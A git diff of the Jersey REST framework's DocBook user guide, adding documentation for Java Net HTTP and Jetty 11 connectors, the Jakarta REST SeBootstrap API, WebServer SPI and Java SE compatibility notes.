<entry>&jersey.logging.LoggingFeature.LOGGING_FEATURE_LOGGER_NAME_CLIENT;
</entry>
<entry>
@@ -2113,4 +2203,108 @@
</tgroup>
</table>
</section>
+ <section xml:id="appendix-properties-client-jnh">
+ <title>Java Net HTTP client configuration properties</title>
+
+ <para>
+ List of client configuration properties that can be found in &jersey.jnh.JavaNetHttpClientProperties; class.
+ </para>
+
+ <table>
+ <title>List of Java Net HTTP client configuration properties</title>
+ <tgroup cols="3">
+ <thead>
+ <row>
+ <entry>Constant</entry>
+ <entry>Value</entry>
+ <entry>Description</entry>
+ </row>
+ </thead>
+ <tbody>
+ <row>
+ <entry>&jersey.jnh.JavaNetHttpClientProperties.COOKIE_HANDLER;</entry>
+ <entry><literal>jersey.config.jnh.client.cookieHandler</literal></entry>
+ <entry>
+ <para>
+ Configuration of the <literal>java.net.CookieHandler</literal> that should be used by the
+ <literal>java.net.http.HttpClient</literal>. If this option is not set,
+ <literal>java.net.http.HttpClient#cookieHandler()</literal> will return an empty
+ <literal>java.util.Optional</literal> and therefore no cookie handler will be used.
+ </para>
+ <para>
+ A provided value to this option has to be of type <literal>java.net.CookieHandler</literal>.
+ </para>
+ </entry>
+ </row>
+ <row>
+ <entry>&jersey.jnh.JavaNetHttpClientProperties.SSL_PARAMETERS;</entry>
+ <entry><literal>jersey.config.jnh.client.sslParameters</literal></entry>
+ <entry>
+ <para>
+ Configuration of SSL parameters used by the <literal>java.net.http.HttpClient</literal>.
+ If this option is not set, then the <literal>java.net.http.HttpClient</literal> will use
+ <it>implementation specific</it> default values.
+ </para>
+ <para>
+ A provided value to this option has to be of type <literal>javax.net.ssl.SSLParameters</literal>.
+ </para>
+ </entry>
+ </row>
+ <row>
+ <entry>&jersey.jnh.JavaNetHttpClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION;</entry>
+ <entry><literal>jersey.config.jnh.client.preemptiveBasicAuthentication</literal></entry>
+ <entry>
+ <para>
+ An instance of the Authenticator class which represents an object that knows how to
+ obtain authentication for a network connection should be used.
+ </para>
+ <para>
+ If an <literal>java.net.Authenticator</literal> instance is found,
+ it is then used for the given request.
+ </para>
+ <para>
+ The value MUST be an instance of <literal>java.net.Authenticator</literal>.
+ If the property is absent, no authentication is used.
+ </para>
+ </entry>
+ </row>
+ <row>
+ <entry>&jersey.jnh.JavaNetHttpClientProperties.DISABLE_COOKIES;</entry>
+ <entry><literal>jersey.config.jnh.client.disableCookies</literal></entry>
+ <entry>
+ <para>
+ A value of &lit.false; indicates the client should handle cookies
+ automatically using HttpClient's default cookie policy. A value
+ of &lit.true; will cause the client to ignore all cookies.
+ </para>
+ <para>
+ The value MUST be an instance of <literal>java.lang.Boolean</literal>.
+ </para>
+ <para>
+ The default value is &lit.false;.
+ </para>
+ </entry>
+ </row>
+ <row>
+ <entry>&jersey.jnh.JavaNetHttpClientProperties.HTTP_VERSION;</entry>
+ <entry><literal>jersey.config.jnh.client.httpVersion</literal></entry>
+ <entry>
+ <para>
+ HTTP version - if null or instance of HttpClient.Version.HTTP_1_1
+ the version will be set to HTTP_1_1. If version is HttpClient.Version.HTTP_2
+ the client will attempt to perform each request using HTTP_2 protocol
+ but if not supported by server, the protocol will be still HTTP_1_1
+ </para>
+ <para>
+ The value MUST be an instance of <literal>java.net.http.HttpClient.Version</literal>.
+ </para>
+ <para>
+ The default value is &lit.null;.
+ </para>
+ </entry>
+ </row>
+ </tbody>
+ </tgroup>
+ </table>
+ </section>
</appendix>
\ No newline at end of file
diff --git a/docs/src/main/docbook/client.xml b/docs/src/main/docbook/client.xml
index b496268..998e32b 100644
--- a/docs/src/main/docbook/client.xml
+++ b/docs/src/main/docbook/client.xml
@@ -656,14 +656,19 @@
<entry><literal>org.glassfish.jersey.connectors:jersey-helidon-connector</literal></entry>
</row>
<row>
- <entry>Jetty HTTP client</entry>
+ <entry>Jetty HTTP client (JDK 17+)</entry>
<entry>&jersey.jetty.JettyConnectorProvider;</entry>
<entry><literal>org.glassfish.jersey.connectors:jersey-jetty-connector</literal></entry>
</row>
<row>
- <entry>Jetty HTTP/2 client</entry>
- <entry>&jersey.jetty.JettyHttp2ConnectorProvider;</entry>
- <entry><literal>org.glassfish.jersey.connectors:jersey-jetty-http2-connector</literal></entry>
+ <entry>Jetty 11.x HTTP client</entry>
+ <entry>&jersey.jetty11.Jetty11ConnectorProvider;</entry>
+ <entry><literal>org.glassfish.jersey.connectors:jersey-jetty11-connector</literal></entry>
+ </row>
+ <row>
+ <entry>Jetty 11.x HTTP/2 client</entry>
+ <entry>&jersey.jetty11.Jetty11Http2ConnectorProvider;</entry>
+ <entry><literal>org.glassfish.jersey.connectors:jersey-jetty11-http2-connector</literal></entry>
</row>
<row>
<entry>Netty NIO framework</entry>
@@ -675,6 +680,11 @@
<entry>&jersey.jdk.JdkConnectorProvider;</entry>
<entry><literal>org.glassfish.jersey.connectors:jersey-jdk-connector</literal></entry>
</row>
+ <row>
+ <entry>Java java.net.http client</entry>
+ <entry>&jersey.jnh.JavaNetHttpConnectorProvider;</entry>
+ <entry><literal>org.glassfish.jersey.connectors:jersey-jnh-connector</literal></entry>
+ </row>
</tbody>
</tgroup>
</table>
@@ -858,6 +868,21 @@
</programlisting>
</para>
</section>
+ <section>
+ <title>Jetty 11.x HttpClient Configuration</title>
+ <para>
+ For Jetty Connector, an &jersey.jetty11.Jetty11HttpClientSupplier; SPI allows for providing a configured instance
+ of <literal>org.eclipse.jetty.client.HttpClient</literal>:
+ <programlisting language="java" linenumbering="numbered">
+ HttpClient httpClient = new HttpClient(...);
+ ClientConfig clientConfig = new ClientConfig()
+ .connectorProvider(new Jetty11ConnectorProvider())
+ .register(new Jetty11HttpClientSupplier(httpClient));
+ Client client = ClientBuilder.newClient(clientConfig);
+ ...
+ </programlisting>
+ </para>
+ </section>
</section>
</section>
@@ -1008,9 +1033,9 @@
revalidate URL using a custom implementation of &lit.jdk6.HostnameVerifier; and go on in a handshake processing.
&lit.jersey.jetty.JettyConnectorProvider; and &lit.jersey.grizzly.GrizzlyConnectorProvider; provide only host URL verification
and throw a &lit.jdk6.CertificateException; without any possibility to use custom &lit.jdk6.HostnameVerifier;.
- Moreover, in case of &lit.jersey.jetty.JettyConnectorProvider; there is a property
- &jersey.jetty.JettyClientProperties.ENABLE_SSL_HOSTNAME_VERIFICATION; to disable an entire host URL verification
- mechanism in a handshake.
+ Moreover, in case of &lit.jersey.jetty.JettyConnectorProvider; and &lit.jersey.jetty11.Jetty11ConnectorProvider; there are the properties
+ &jersey.jetty.JettyClientProperties.ENABLE_SSL_HOSTNAME_VERIFICATION; and &jersey.jetty11.Jetty11ClientProperties.ENABLE_SSL_HOSTNAME_VERIFICATION;
+ to disable an entire host URL verification mechanism in a handshake.
</para>
</important>
diff --git a/docs/src/main/docbook/dependencies.xml b/docs/src/main/docbook/dependencies.xml
index 94c62e8..176fe08 100644
--- a/docs/src/main/docbook/dependencies.xml
+++ b/docs/src/main/docbook/dependencies.xml
@@ -1,7 +1,7 @@
<?xml version="1.0" encoding="UTF-8"?>
<!--
- Copyright (c) 2010, 2021 Oracle and/or its affiliates. All rights reserved.
+ Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
This program and the accompanying materials are made available under the
terms of the Eclipse Public License v. 2.0, which is available at
@@ -29,7 +29,7 @@
xml:id="modules-and-dependencies">
<title>Modules and dependencies</title>
- <section>
+ <section xml:id="se_compatibility">
<title>Java SE Compatibility</title>
<para>
@@ -39,11 +39,24 @@
<para>This user guide refers only to version 3 and above of Jersey, its compatibility is described below</para>
</listitem>
<listitem>
- <para>Since version 3.0.0* all Jersey components are compiled with Java SE 1.8 target.
+ <para>Since version 3.0.0 all Jersey components are compiled with Java SE 1.8 target.
It means, that you will need at least Java SE 1.8 to be able to compile and run your application
- which uses the latest Jersey 3.x.
- All modules however are fully compatible with JDK 11 and above. So, it's possible to use JDK 11+ to
- build your app.
+ which uses the latest Jersey 3.0.x.
+ Some modules, however, are fully compatible with JDK 11 and above (Jetty modules based on Jetty 11).
+ Some modules (Helidon Connector, Spring 6) require JDK 17.
+ </para>
+ </listitem>
+ <listitem>
+ <para>Since version 3.1.0 all Jersey components are compiled with Java SE 11 target.
+ It means, that you will need at least Java SE 11 to be able to compile and run your application
+ which uses the latest Jersey 3.1.x.
+ Some modules, however, are fully compatible with JDK 17 and above (Jetty modules based on Jetty 12
+ [since 3.1.4], Helidon Connector, Spring 6).
+ </para>
+ </listitem>
+ <listitem>
+ <para>
+ Please see <xref linkend="migration"/> for additional compatibility information.
</para>
</listitem>
</itemizedlist>
@@ -162,7 +175,12 @@
<artifactId>jersey-apache-connector</artifactId>
<version>&version;</version>
</dependency>
-<!-- Requires JDK 11+ -->
+<dependency>
+ <groupId>org.glassfish.jersey.connectory</groupId>
+ <artifactId>jersey-jetty11-connector</artifactId>
+ <version>&version;</version>
+</dependency>
+<!-- Requires JDK 17+ -->
<dependency>
<groupId>org.glassfish.jersey.connectors</groupId>
<artifactId>jersey-jetty-connector</artifactId>
diff --git a/docs/src/main/docbook/deployment.xml b/docs/src/main/docbook/deployment.xml
index 474fd63..9fac43c 100644
--- a/docs/src/main/docbook/deployment.xml
+++ b/docs/src/main/docbook/deployment.xml
@@ -110,6 +110,9 @@
classpath, unless explicitly stated otherwise in the documentation of each particular extension.
Users are expected to explicitly register the extension &jaxrs.core.Feature;s using their
&lit.jaxrs.core.Application; subclass.
+ Since Jersey 3.1.0 all features which extends &jaxrs.core.Feature; and are listed as SPI of the &lit.jaxrs.core.Feature;
+ interface are automatically registered (not required to be registered within &lit.jaxrs.core.Application; subclass).
+ For server site Jersey 3.1.0 also registers SPIs for &lit.jaxrs.container.DynamicFeature; interface.
For a few Jersey provided modules however there is no need to explicitly register their extension
&lit.jaxrs.core.Feature;s as these are discovered and registered in the &jaxrs.core.Configuration; (on client/server)
automatically by Jersey runtime whenever the modules implementing these features are present on the classpath
@@ -193,6 +196,17 @@
</section>
</section>
+ <section xml:id="deployment.feature.dynamicFeature">
+ <title>Feature and Dynamic Feature SPI automatic registration</title>
+ <para>
+ Since Jersey 3.1.0 there is a new specification requirement to automatically discover and register classes that
+ implement &jaxrs.core.Feature; and &jaxrs.container.DynamicFeature; interfaces. This is being done via SPI search
+ thus all those classes in order to be discovered automatically shall be listed as SPIs for given interfaces.
+ This automatic registration can also be disabled by <literal>jakarta.ws.rs.loadServices</literal>
+ (which is new specification property) to be set to false. This is also valid for
+ &jersey.common.CommonProperties.FEATURE_AUTO_DISCOVERY_DISABLE; lookup.
+ </para>
+ </section>
<section xml:id="deployment.classpath-scanning">
<title>Configuring the Classpath Scanning</title>
@@ -207,6 +221,12 @@
<itemizedlist>
<title>List of SPIs recognized by Jersey</title>
<listitem>
+ <para>&lit.jaxrs.core.Feature; (server, client) -
+ Features are being registered similarly to AutoDiscoverable feature. In addition
+ property jakarta.ws.rs.loadServices is checked before registration.
+ </para>
+ </listitem>
+ <listitem>
<para><literal>AutoDiscoverable</literal> (server, client) -
it means if you disable service loading the AutoDiscoverable feature is automatically disabled too</para>
</listitem>
@@ -218,6 +238,10 @@
<para><literal>HeaderDelegateProvider</literal> (server, client)</para>
</listitem>
<listitem>
+ <para>&lit.jaxrs.container.DynamicFeature; (server) -
+ Similar to &lit.jaxrs.core.Feature; registration but only for server.</para>
+ </listitem>
+ <listitem>
<para><literal>ComponentProvider</literal> (server)</para>
</listitem>
<listitem>
@@ -484,6 +508,88 @@
</note>
</section>
</section>
+
+ <section xml:id="deployment.bootstrap.api">
+ <title>Jakarta REST Bootstrap API</title>
+ <para>
+ Jakarta REST 3.1 comes with a new API for starting an application in Java SE environment. This
+ <literal>Bootstrap</literal> API is mainly represented by &lit.jaxrs.SeBootstrap; interface.
+ The Jakarta REST application is started as follows:
+ <programlisting language="java">Application application = new MyApplication();
+SeBootstrap.Configuration.Builder configBuilder = SeBootstrap.Configuration.builder();
+CompletionStage<SeBootstrap.Instance> completionStage = SeBootstrap.start(application, configBuilder.build());</programlisting>
+ </para>
+ <para>
+ Later, when the SE application is no longer needed, it can be shutdown as follows:
+ <programlisting language="java">CompletionStage<SeBootstrap.Instance> completionStage = ...
+SeBootstrap.Instance instance = completionStage().get();
+instance.stop();</programlisting>
+ </para>
+ <para>
+ The &lit.jaxrs.SeBootstrap.Configuration; allows for configuring the Jersey runtime. The Jakarta REST 3.1 allows
+ for configuring the HTTP port, the protocol (HTTP), the hostname, the root path, and SSL. The
+ &lit.jaxrs.SeBootstrap; is configured as follows:
+ <programlisting language="java">SeBootstrap.Configuration.Builder configBuilder = SeBootstrap.Configuration.builder();
+configBuilder.property(SeBootstrap.Configuration.PROTOCOL, "HTTP")
+ .property(SeBootstrap.Configuration.HOST, "localhost")
+ .property(SeBootstrap.Configuration.PORT, 1234)
+ .property(SeBootstrap.Configuration.ROOT_PATH, "/root/path");</programlisting>
+ </para>
+ <para>
+ The &lit.jaxrs.SeBootstrap; deployment is backed up by an HTTP server described in
+ <xref linkend="deployment.http"/>. If multiple Jersey container modules are on the classpath,
+ the first found is used.
+ </para>
+ </section>
+
+ <section xml:id="deployment.webserver.spi">
+ <title>Jersey WebServer SPI</title>
+ <para>
+ Jersey &jersey.server.spi.WebServer; and &jersey.server.spi.WebServerProvider; are SPI interfaces similar to
+ &jersey.server.spi.ContainerProvider; but they are used for the SE deployment. They serve as a bridge between
+ Jersey containers and &lit.jaxrs.SeBootstrap; API.
+ The Jakarta REST application can be started as follows:
+ <programlisting language="java">Application application = new MyApplication();
+SeBootstrap.Configuration.Builder configBuilder = SeBootstrap.Configuration.builder();
+WebServer webServer = WebServerFactory.createServer(WebServer.class, application, configBuilder.build());</programlisting>
+ </para>
+ <para>
+ Later, when the SE application is no longer needed, it can be shutdown as follows:
+ <programlisting language="java">WebServer webServer = ...
+webServer.stop();</programlisting>
+ </para>
+ <para>
+ &jersey.server.WebServerFactory; is used to automatically choose among available implementations on a classpath.
+ If there are multiple implementations available, the first found is used. The user can choose the implementation
+ of a &lit.jersey.server.spi.WebServer; by a concrete WebServer subclass, for instance:
+ <programlisting language="java">
+WebServer webServer = WebServerFactory.createServer(GrizzlyHttpServer.class, application, configBuilder.build());</programlisting>
+ Another way to choose the &lit.jersey.server.spi.WebServer; implementation is by the
+ &lit.jersey.server.spi.WebServerProvider; implementation:
+ <programlisting language="java">
+WebServer webServer = GrizzlyHttpServerProvider.createServer(WebServer.class, application, configBuilder.build());</programlisting>
+ </para>
+ <para>
+ For additional customization of the WebServer settings, see <xref linkend="appendix-properties-webserver"/>.
+ </para>
+ </section>
+
+ <warning xml:id="ports.warning" xreflabel="Default ports">
+ <para>
+ When the port is set to -1, the default ports are used.
+ Unlike the default ports used by the <xref linkend="deployment.http"/>, the &lit.jaxrs.SeBootstrap; API and
+ &lit.jersey.server.spi.WebServer; SPI use default ports 8080 and 8443, respectively.
+ </para>
+ <para>
+ When the port is set to 0, the implementation scans for a free port. The privileged ports are skipped, and the
+ scanning starts with port 1024.
+ </para>
+ <para>
+ Using the restricted ports can be ensured either by setting directly the port, or by setting
+ &jersey.server.ServerProperties.WEBSERVER_ALLOW_PRIVILEGED_PORTS; property to true in the
+ &lit.jaxrs.SeBootstrap.Configuration;
+ </para>
+ </warning>
</section>
<section xml:id="deployment.jaxrs.endpoint">
diff --git a/docs/src/main/docbook/jaxrs-resources.xml b/docs/src/main/docbook/jaxrs-resources.xml
index d6cb100..884209d 100644
--- a/docs/src/main/docbook/jaxrs-resources.xml
+++ b/docs/src/main/docbook/jaxrs-resources.xml
@@ -480,6 +480,11 @@
</example>
</para>
+ <para>
+ For quicker getting of values for a known header name there is a shortcut for <literal>hh.getRequestHeaders().get(name)</literal>
+ which is <literal>hh.getRequestHeader(name)</literal>.
+ </para>
+
<para>In general &jaxrs.core.Context; can be used to obtain contextual Java types related to the request or response.
</para>
diff --git a/docs/src/main/docbook/jersey.ent b/docs/src/main/docbook/jersey.ent
index 69217f0..be67534 100644
--- a/docs/src/main/docbook/jersey.ent
+++ b/docs/src/main/docbook/jersey.ent
@@ -28,6 +28,7 @@
<!ENTITY jaxb-api-jar.version "$jaxb-api-jar-version">
<!ENTITY jax-rs.version "$jax-rs-api-jar-version">
<!ENTITY jax-rs21.version "2.1.6">
+<!ENTITY jax-rs31.spec.version "3.1">
<!ENTITY jakarta.el.version "$jakarta.el-version">
<!ENTITY jakarta.el-impl.version "$jakarta.el-impl-version">
<!ENTITY jax-rs-api-jar.version "$jax-rs-api-jar-version">
@@ -60,6 +61,7 @@
<!ENTITY jaxrs.release.uri "https://github.com/eclipse-ee4j/jaxrs-api">
<!ENTITY jaxrs.javadoc.uri "https://jakartaee.github.io/rest/apidocs/&jax-rs.version;/jakarta/ws/rs">
<!ENTITY jaxrs21.javadoc.uri "https://jakartaee.github.io/rest/apidocs/&jax-rs21.version;/javax/ws/rs">
+<!ENTITY jaxrs31.spec.uri "https://jakarta.ee/specifications/restful-ws/&jax-rs31.spec.version;/jakarta-restful-ws-spec-&jax-rs31.spec.version;.html">
<!ENTITY jsonb.javadoc.uri "https://javaee.github.io/javaee-spec/javadocs/javax/json/bind">
<!ENTITY jersey.documentation.uri "https://eclipse-ee4j.github.io/jersey.github.io">
@@ -215,6 +217,7 @@
<!ENTITY jaxrs.core.Configuration "<link xlink:href='&jaxrs.javadoc.uri;/core/Configuration.html'>Configuration</link>">
<!ENTITY jaxrs.core.Context "<link xlink:href='&jaxrs.javadoc.uri;/core/Context.html'>@Context</link>">
<!ENTITY jaxrs.core.Cookie "<link xlink:href='&jaxrs.javadoc.uri;/core/Cookie.html'>Cookie</link>">
+<!ENTITY jaxrs.core.EntityPart "<link xlink:href='&jaxrs.javadoc.uri;/core/EntityPart.html'>EntityPart</link>">
<!ENTITY jaxrs.core.EntityTag "<link xlink:href='&jaxrs.javadoc.uri;/core/EntityTag.html'>EntityTag</link>">
<!ENTITY jaxrs.core.Feature "<link xlink:href='&jaxrs.javadoc.uri;/core/Feature.html'>Feature</link>">
<!ENTITY jaxrs.core.Form "<link xlink:href='&jaxrs.javadoc.uri;/core/Form.html'>Form</link>">
@@ -233,6 +236,7 @@
<!ENTITY jaxrs.core.Response.Status "<link xlink:href='&jaxrs.javadoc.uri;/core/Response.Status.html'>Response.Status</link>">
<!ENTITY jaxrs.core.Response.Status.Family "<link xlink:href='&jaxrs.javadoc.uri;/core/Response.Status.Family.html'>Response.Status.Family</link>">
<!ENTITY jaxrs.core.Response.StatusType "<link xlink:href='&jaxrs.javadoc.uri;/core/Response.StatusType.html'>Response.StatusType</link>">
+<!ENTITY jaxrs.core.SeBootstrap "<link xlink:href='&jaxrs.javadoc.uri;/SeBootstrap.html'>SeBootstrap</link>">
<!ENTITY jaxrs.core.SecurityContext "<link xlink:href='&jaxrs.javadoc.uri;/core/SecurityContext.html'>SecurityContext</link>">
<!ENTITY jaxrs.core.StreamingOutput "<link xlink:href='&jaxrs.javadoc.uri;/core/StreamingOutput.html'>StreamingOutput</link>">
<!ENTITY jaxrs.core.UriBuilder "<link xlink:href='&jaxrs.javadoc.uri;/core/UriBuilder.html'>UriBuilder</link>">
@@ -251,6 +255,7 @@
<!ENTITY jaxrs.ext.RuntimeDelegate.HeaderDelegate "<link xlink:href='&jaxrs.javadoc.uri;/ext/RuntimeDelegate.HeaderDelegate.html'>RuntimeDelegate.HeaderDelegate<T></link>">
<!ENTITY jaxrs21.sse.SseEventSink "<link xlink:href='&jaxrs21.javadoc.uri;/sse/SseEventSink.html'>SseEventSink</link>">
<!ENTITY jaxrs21.sse.Sse "<link xlink:href='&jaxrs21.javadoc.uri;/sse/Sse.html'>Sse</link>">
+<!ENTITY jaxrs31.exceptionMapperProvider "<link xlink:href='&jaxrs31.spec.uri;#exceptionmapper'>Exception Mapping Providers</link>">
<!ENTITY jdk6.Boolean "<link xlink:href='&jdk6.javadoc.uri;/java/lang/Boolean.html'>Boolean</link>">
<!ENTITY jdk6.CountDownLatch "<link xlink:href='&jdk6.javadoc.uri;/java/util/concurrent/CountDownLatch.html'>CountDownLatch</link>">
@@ -360,6 +365,7 @@
<!ENTITY jersey.client.ClientProperties.DIGESTAUTH_URI_CACHE_SIZELIMIT "<link xlink:href='&jersey.javadoc.uri.prefix;/client/ClientProperties.html#DIGESTAUTH_URI_CACHE_SIZELIMIT'>ClientProperties.DIGESTAUTH_URI_CACHE_SIZELIMIT</link>" >
<!ENTITY jersey.client.ClientProperties.EXPECT_100_CONTINUE "<link xlink:href='&jersey.javadoc.uri.prefix;/client/ClientProperties.html#EXPECT_100_CONTINUE'>ClientProperties.EXPECT_100_CONTINUE</link>" >
<!ENTITY jersey.client.ClientProperties.EXPECT_100_CONTINUE_THRESHOLD_SIZE "<link xlink:href='&jersey.javadoc.uri.prefix;/client/ClientProperties.html#EXPECT_100_CONTINUE_THRESHOLD_SIZE'>ClientProperties.EXPECT_100_CONTINUE_THRESHOLD_SIZE</link>" >
+<!ENTITY jersey.client.ClientProperties.SNI_HOST_NAME "<link xlink:href='&jersey.javadoc.uri.prefix;/client/ClientProperties.html#SNI_HOST_NAME'>ClientProperties.SNI_HOST_NAME</link>" >
<!ENTITY jersey.client.ClientLifecycleListener "<link xlink:href='&jersey.javadoc.uri.prefix;/client/ClientLifecycleListener.html'>ClientLifecycleListener</link>">
<!ENTITY jersey.client.Connector "<link xlink:href='&jersey.javadoc.uri.prefix;/client/spi/Connector.html'>Connector</link>">
<!ENTITY jersey.client.ConnectorProvider "<link xlink:href='&jersey.javadoc.uri.prefix;/client/spi/ConnectorProvider.html'>ConnectorProvider</link>">
@@ -480,11 +486,26 @@
<!ENTITY jersey.jetty.JettyClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE "<link xlink:href='&jersey.javadoc.uri.prefix;/jetty/connector/JettyClientProperties.html#SYNC_LISTENER_RESPONSE_MAX_SIZE'>JettyClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE</link>" >
<!ENTITY jersey.jetty.JettyClientProperties.TOTAL_TIMEOUT "<link xlink:href='&jersey.javadoc.uri.prefix;/jetty/connector/JettyClientProperties.html#TOTAL_TIMEOUT'>JettyClientProperties.TOTAL_TIMEOUT</link>" >
<!ENTITY jersey.jetty.JettyConnectorProvider "<link xlink:href='&jersey.javadoc.uri.prefix;/jetty/connector/JettyConnectorProvider.html'>JettyConnectorProvider</link>">
-<!ENTITY jersey.jetty.JettyHttp2ConnectorProvider "<link xlink:href='&jersey.javadoc.uri.prefix;/jetty/http2/connector/JettyConnectorProvider.html'>JettyHttp2ConnectorProvider</link>">
+<!ENTITY jersey.jetty11.Jetty11Http2ConnectorProvider "<link xlink:href='&jersey.javadoc.uri.prefix;/jetty11/http2/connector/Jetty11ConnectorProvider.html'>Jetty11Http2ConnectorProvider</link>">
<!ENTITY jersey.jetty.JettyHttpContainer "<link xlink:href='&jersey.javadoc.uri.prefix;/jetty/JettyHttpContainer.html'>JettyHttpContainer</link>">
<!ENTITY jersey.jetty.JettyHttpContainerFactory "<link xlink:href='&jersey.javadoc.uri.prefix;/jetty/JettyHttpContainerFactory.html'>JettyHttpContainerFactory</link>">
<!ENTITY jersey.jetty.JettyHttpContainerProvider "<link xlink:href='&jersey.javadoc.uri.prefix;/jetty/JettyHttpContainerProvider.html'>JettyHttpContainerProvider</link>">
<!ENTITY jersey.jetty.JettyWebContainerFactory "<link xlink:href='&jersey.javadoc.uri.prefix;/jetty/servlet/JettyWebContainerFactory.html'>JettyWebContainerFactory</link>">
+<!ENTITY jersey.jetty11.Jetty11ClientProperties "<link xlink:href='&jersey.javadoc.uri.prefix;/jetty11/connector/Jetty11ClientProperties.html'>Jetty11ClientProperties</link>" >
+<!ENTITY jersey.jetty11.Jetty11HttpClientSupplier "<link xlink:href='&jersey.javadoc.uri.prefix;/jetty11/connector/Jetty11HttpClientSupplier.html'>Jetty11HttpClientSupplier</link>" >
+<!ENTITY jersey.jetty11.Jetty11ClientProperties.ENABLE_SSL_HOSTNAME_VERIFICATION "<link xlink:href='&jersey.javadoc.uri.prefix;/jetty11/connector/Jetty11ClientProperties.html#ENABLE_SSL_HOSTNAME_VERIFICATION'>Jetty11ClientProperties.ENABLE_SSL_HOSTNAME_VERIFICATION</link>" >
+<!ENTITY jersey.jetty11.Jetty11ClientProperties.DISABLE_COOKIES "<link xlink:href='&jersey.javadoc.uri.prefix;/jetty11/connector/Jetty11ClientProperties.html#DISABLE_COOKIES'>Jetty11ClientProperties.DISABLE_COOKIES</link>" >
+<!ENTITY jersey.jetty11.Jetty11ClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION "<link xlink:href='&jersey.javadoc.uri.prefix;/jetty11/connector/Jetty11ClientProperties.html#PREEMPTIVE_BASIC_AUTHENTICATION'>Jetty11ClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION</link>" >
+<!ENTITY jersey.jetty11.Jetty11ClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE "<link xlink:href='&jersey.javadoc.uri.prefix;/jetty11/connector/Jetty11ClientProperties.html#SYNC_LISTENER_RESPONSE_MAX_SIZE'>Jetty11ClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE</link>" >
+<!ENTITY jersey.jetty11.Jetty11ClientProperties.TOTAL_TIMEOUT "<link xlink:href='&jersey.javadoc.uri.prefix;/jetty11/connector/Jetty11ClientProperties.html#TOTAL_TIMEOUT'>Jetty11ClientProperties.TOTAL_TIMEOUT</link>" >
+<!ENTITY jersey.jetty11.Jetty11ConnectorProvider "<link xlink:href='&jersey.javadoc.uri.prefix;/jetty11/connector/Jetty11ConnectorProvider.html'>Jetty11ConnectorProvider</link>">
+<!ENTITY jersey.jnh.JavaNetHttpConnectorProvider "<link xlink:href='&jersey.javadoc.uri.prefix;/jnh/connector/JavaNetHttpConnectorProvider.html'>JavaNetHttpConnectorProvider</link>">
+<!ENTITY jersey.jnh.JavaNetHttpClientProperties "<link xlink:href='&jersey.javadoc.uri.prefix;/jnh/connector/JavaNetHttpClientProperties.html'>JavaNetHttpClientProperties</link>">
+<!ENTITY jersey.jnh.JavaNetHttpClientProperties.COOKIE_HANDLER "<link xlink:href='&jersey.javadoc.uri.prefix;/jnh/connector/JavaNetHttpClientProperties.html#COOKIE_HANDLER'>JavaNetHttpClientProperties.COOKIE_HANDLER</link>">
+<!ENTITY jersey.jnh.JavaNetHttpClientProperties.SSL_PARAMETERS "<link xlink:href='&jersey.javadoc.uri.prefix;/jnh/connector/JavaNetHttpClientProperties.html#SSL_PARAMETERS'>JavaNetHttpClientProperties.SSL_PARAMETERS</link>">
+<!ENTITY jersey.jnh.JavaNetHttpClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION "<link xlink:href='&jersey.javadoc.uri.prefix;/jnh/connector/JavaNetHttpClientProperties.html#PREEMPTIVE_BASIC_AUTHENTICATION'>JavaNetHttpClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION</link>">
+<!ENTITY jersey.jnh.JavaNetHttpClientProperties.DISABLE_COOKIES "<link xlink:href='&jersey.javadoc.uri.prefix;/jnh/connector/JavaNetHttpClientProperties.html#DISABLE_COOKIES'>JavaNetHttpClientProperties.DISABLE_COOKIES</link>">
+<!ENTITY jersey.jnh.JavaNetHttpClientProperties.HTTP_VERSION "<link xlink:href='&jersey.javadoc.uri.prefix;/jnh/connector/JavaNetHttpClientProperties.html#HTTP_VERSION'>JavaNetHttpClientProperties.HTTP_VERSION</link>">
<!ENTITY jersey.linking.DeclarativeLinkingFeature "<link xlink:href='&jersey.javadoc.uri.prefix;/linking/DeclarativeLinkingFeature.html'>DeclarativeLinkingFeature</link>">
<!ENTITY jersey.logging.LoggingFeature "<link xlink:href='&jersey.javadoc.uri.prefix;/logging/LoggingFeature.html'>LoggingFeature</link>">
<!ENTITY jersey.logging.LoggingFeature.DEFAULT_LOGGER_NAME "<link xlink:href='&jersey.javadoc.uri.prefix;/logging/LoggingFeature.html#DEFAULT_LOGGER_NAME'>LoggingFeature.DEFAULT_LOGGER_NAME</link>">
@@ -621,11 +642,15 @@
<!ENTITY jersey.server.ServerProperties.LOCATION_HEADER_RELATIVE_URI_RESOLUTION_RFC7231 "<link xlink:href='&jersey.javadoc.uri.prefix;/server/ServerProperties.html#LOCATION_HEADER_RELATIVE_URI_RESOLUTION_RFC7231'>ServerProperties.LOCATION_HEADER_RELATIVE_URI_RESOLUTION_RFC7231</link>" >
<!ENTITY jersey.server.ServerProperties.UNWRAP_COMPLETION_STAGE_IN_WRITER_ENABLE "<link xlink:href='&jersey.javadoc.uri.prefix;/server/ServerProperties.html#UNWRAP_COMPLETION_STAGE_IN_WRITER_ENABLE'>ServerProperties.UNWRAP_COMPLETION_STAGE_IN_WRITER_ENABLE</link>" >
<!ENTITY jersey.server.ServerProperties.EMPTY_REQUEST_MEDIA_TYPE_MATCHES_ANY_CONSUMES "<link xlink:href='&jersey.javadoc.uri.prefix;/server/ServerProperties.html#EMPTY_REQUEST_MEDIA_TYPE_MATCHES_ANY_CONSUMES'>ServerProperties.EMPTY_REQUEST_MEDIA_TYPE_MATCHES_ANY_CONSUMES</link>" >
+<!ENTITY jersey.server.ServerProperties.WEBSERVER_ALLOW_PRIVILEGED_PORTS "<link xlink:href='&jersey.javadoc.uri.prefix;/server/ServerProperties.html#WEBSERVER_ALLOW_PRIVILEGED_PORTS'>ServerProperties.WEBSERVER_ALLOW_PRIVILEGED_PORTS</link>" >
+<!ENTITY jersey.server.ServerProperties.WEBSERVER_AUTO_START "<link xlink:href='&jersey.javadoc.uri.prefix;/server/ServerProperties.html#WEBSERVER_AUTO_START'>ServerProperties.WEBSERVER_AUTO_START</link>" >
